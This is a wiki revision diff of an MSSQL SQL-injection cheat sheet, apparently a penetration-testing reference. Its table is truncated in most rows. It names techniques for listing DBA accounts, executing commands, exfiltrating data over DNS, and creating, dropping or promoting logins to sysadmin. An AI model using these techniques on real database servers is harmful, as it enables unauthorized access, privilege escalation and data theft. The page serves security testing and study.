hacking:sql_injection_cheat_sheet_mssql
Differences
This shows you the differences between two versions of the page.
Next revision | Previous revision | ||
hacking:sql_injection_cheat_sheet_mssql [2020/04/01 09:29] – created peter | hacking:sql_injection_cheat_sheet_mssql [2020/07/15 09:30] (current) – external edit 127.0.0.1 | ||
---|---|---|---|
Line 18: | Line 18: | ||
SELECT name + ' | SELECT name + ' | ||
</ | </ | ||
- | |Password Cracker|MSSQL 2000 and 2005 Hashes are both SHA1-based. [https:// | + | |Password Cracker|MSSQL 2000 and 2005 Hashes are both SHA1-based. |
|List Privileges|Impossible? | |List Privileges|Impossible? | ||
|List DBA Accounts|< | |List DBA Accounts|< | ||
TODO | TODO | ||
- | SELECT is_srvrolemember(' | + | SELECT is_srvrolemember(' |
+ | Also try ' | ||
+ | SELECT is_srvrolemember(' | ||
</ | </ | ||
|Current Database|SELECT DB_NAME()| | |Current Database|SELECT DB_NAME()| | ||
Line 49: | Line 51: | ||
</ | </ | ||
|ASCII Value -> Char|SELECT char(0x41) -- returns A| | |ASCII Value -> Char|SELECT char(0x41) -- returns A| | ||
- | |Char -> ASCII Value|SELECT ascii(' | + | |Char -> ASCII Value|SELECT ascii(' |
|Casting|< | |Casting|< | ||
SELECT CAST(' | SELECT CAST(' | ||
Line 65: | Line 67: | ||
-- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary. | -- NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary. | ||
- | -- Also check out theDNS tunnel feature of sqlninja | + | -- Also check out theDNS tunnel feature of [[http://sqlninja.sourceforge.net/ |
</ | </ | ||
|Command Execution|< | |Command Execution|< | ||
Line 82: | Line 84: | ||
</ | </ | ||
|Hostname, IP Address|SELECT HOST_NAME()| | |Hostname, IP Address|SELECT HOST_NAME()| | ||
- | |Create Users|EXEC sp_addlogin ' | + | |Create Users|EXEC |
- | |Drop Users|EXEC sp_droplogin ' | + | |Drop Users|EXEC |
- | |Make User DBA|EXEC master.dbo.sp_addsrvrolemember ' | + | |Make User DBA|EXEC |
|Location of DB files|TODO| | |Location of DB files|TODO| | ||
|Default/ | |Default/ | ||
Line 93: | Line 95: | ||
tempdb | tempdb | ||
</ | </ | ||
+ | |||
+ | ---- | ||
+ | |||
+ | ===== References ===== | ||
+ | |||
+ | https:// | ||
hacking/sql_injection_cheat_sheet_mssql.1585733353.txt.gz · Last modified: 2020/07/15 09:30 (external edit)